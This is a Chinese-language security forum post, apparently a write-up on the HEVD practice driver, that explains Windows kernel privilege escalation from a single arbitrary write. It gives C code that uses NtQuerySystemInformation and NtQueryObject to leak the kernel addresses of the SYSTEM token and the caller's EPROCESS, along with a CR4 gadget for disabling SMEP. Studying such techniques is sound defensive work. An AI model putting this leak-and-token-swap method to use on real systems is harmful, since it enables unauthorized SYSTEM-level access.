首页
社区
课程
招聘
[原创] 只有一次任意写,高版本win内核提权
发表于: 11小时前 205

[原创] 只有一次任意写,高版本win内核提权

11小时前
205

上一次我们讲到HEVD的第三题,驱动有任意写的机会,如果有SMEP的话,我们就没办法在内核很方便地劫持执行流程了。
现代 Windows 防线:SMEP 防 shellcode,kCFG 防劫持代码指针,VBS 锁 CR4。
你只有一个任意写漏洞,没有信息泄露,连 ntoskrnl 基址都不知道(KASLR 生效)。
传统思路:先绕过KASLR,再解析PspCidTable。要求:多次任意读+一次任意写

HalDispatchTable写入Gatget?

这是我第一个想到的思路,既然有SMEP,那我们想办法关掉不就行了。
我在WIN10 1909找到如下Gadget:

0x000000014017ae47 : mov cr4, rcx ; ret

写完发现,糟了,HalQuerySystemInformation不是x64 fastcall,我们可以控制的参数是在栈上的,该方法已经失败了。
另外,基于VBD和HCVI保护,我们也无法执行修改cr4的值
不过,可以尝试写入其他内核函数地址。实现在用户态执行内核函数。或者,如果能控制栈上的数据并泄露栈地址的话,可以使用ROP尝试关掉SMEP。这里笔者没有试过。作为一个思路分享,可以试试

SystemHandleInformation

偶然间看到一篇帖子,使用NtQuerySystemInformation可以直接获得整个系统句柄表的所有句柄,在WRK中查看源码可以看到。

NtQuerySystemInformation -> ObGetHandleInformation -> ExSnapShotHandleTables

ExSnapShotHandleTables中,使用HandleTableListHead遍历系统中每一张句柄表。(经过逆向,现代该函数执行流程与WRK实现方式相同):

for (NextEntry = HandleTableListHead.Flink;
    NextEntry != &HandleTableListHead;
    NextEntry = NextEntry->Flink) {

    HandleTable = CONTAINING_RECORD(NextEntry,
        HANDLE_TABLE,
        HandleTableList);

    for (Handle.Value = 0;
        (HandleTableEntry = ExpLookupHandleTableEntry(HandleTable, Handle)) != NULL;
        Handle.Value += HANDLE_VALUE_INC) {

        if (ExpIsValidObjectEntry(HandleTableEntry)) {
            HandleInformation->NumberOfHandles += 1;
            if (ExpLockHandleTableEntry(HandleTable, HandleTableEntry)) {

                Status = (*SnapShotHandleEntry)(&HandleEntryInfo,
                    HandleTable->UniqueProcessId,
                    HandleTableEntry,
                    Handle.GenericHandleOverlay,
                    Length,
                    RequiredLength);

                ExUnlockHandleTableEntry(HandleTable, HandleTableEntry);
            }
        }
    }
}

于是就有Poc(关键代码):

for (ULONG i = 0; i < handleTableInformation->NumberOfHandles; i++)
{
    PSYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo = (PSYSTEM_HANDLE_TABLE_ENTRY_INFO)&handleTableInformation->Handles[i];

    if (!systemToken && handleInfo->UniqueProcessId == (USHORT)4 && handleInfo->ObjectTypeIndex == tokenTypeIndex) {
        if (!firstFound) {
            firstFound = TRUE;
            continue;
        }
        else {
            systemToken = handleInfo->Object;
        }
    }

    if (handleInfo->UniqueProcessId == GetCurrentProcessId() && 
        handleInfo->HandleValue == hProcess && 
        handleInfo->ObjectTypeIndex == processTypeIndex) 
    {
        processObj = handleInfo->Object;
    }
}
//输出:processObj->FFFF990ED18A1080 systemToken->FFFF838CAC25E610

观察发现,NtQuerySystemInformation函数返回了system进程(PID=4)的几乎所有句柄,还返回了他们的TypeIndex和内核对象体地址,通过在Windbg中查看,这个TypeIndex甚至是解密后的值!

NtQueryObject

TypeIndex不是固定的,不同系统不一样,怎么办呢?
NtQueryObjectObjectTypesInformation的枚举值,可以返回系统中所有对象的数量,TypeIndex
关键代码(这里一定要注意OBJECT_TYPE_INFORMATION的对象存放方式):

POBJECT_TYPES_INFORMATION typeInfo = (POBJECT_TYPES_INFORMATION)VirtualAlloc(NULL, SystemHandleInformationSize, MEM_COMMIT, PAGE_READWRITE);
POBJECT_TYPE_INFORMATION tInfo = (POBJECT_TYPE_INFORMATION)&typeInfo->TypeInformation[0];;
NtQueryObject(NULL, 3, typeInfo, SystemHandleInformationSize, &returnLenght);
for (LONG i = 0; i < typeInfo->NumberOfTypes; i++) {
    if (!wcscmp(tInfo->TypeName.Buffer, L"Process")) {
        processTypeIndex = tInfo->TypeIndex;
    }
    if (!wcscmp(tInfo->TypeName.Buffer, L"Token")) {
        tokenTypeIndex = tInfo->TypeIndex;
    }
    tInfo = ALIGN_UP((size_t)tInfo + sizeof(OBJECT_TYPE_INFORMATION) + tInfo->TypeName.MaximumLength,ULONG_PTR);
}

Token

查找PID=4,TypeIndex=Token的对象,与windbg对比,发现system进程打开了很多Token,System EPROCESS对象的Token是第二个。
我们有了Token的真实值。

Our EPROCESS Address

自己打开自身进程,查找PID=CurrentProcessId,HandleVal=刚刚打开的句柄值,TypeIndex=Process的对象。
我们有了EPROCESS的真实值

尾声

有了目标进程 _EPROCESS 的地址,再加上 SYSTEM 令牌在内核内存中的真实值,我们就获得了一把最纯粹的钥匙——甚至不需要知道 ntoskrnl 到底加载在哪个随机基址,也完全不用费心去绕过 VBS。这套操作没有 ROP 链、没有栈迁移、也不碰任何控制寄存器,只是静悄悄地把一个地址写进一个偏移里,权限就换了主人。

说实话,这个思路本身并不复杂,甚至可以说简单得有点“不讲道理”。但我在看雪上翻了不少帖子,似乎还没看到有人把它系统性地梳理出来。正因如此,才斗胆写下这篇文章,就当抛砖引玉——无论是更优雅的 Token 定位方法,还是对未来版本防护的讨论,都欢迎大家一起来聊。

文章中的代码放在附件(GITHUB:986K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6m8e0K6l9K6x3g2)9J5c8V1S2q4g2V1c8Q4x3X3c8q4P5s2l9`.):


传播安全知识、拓宽行业人脉——看雪讲师团队等你加入!

上传的附件:
收藏
免费 1
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回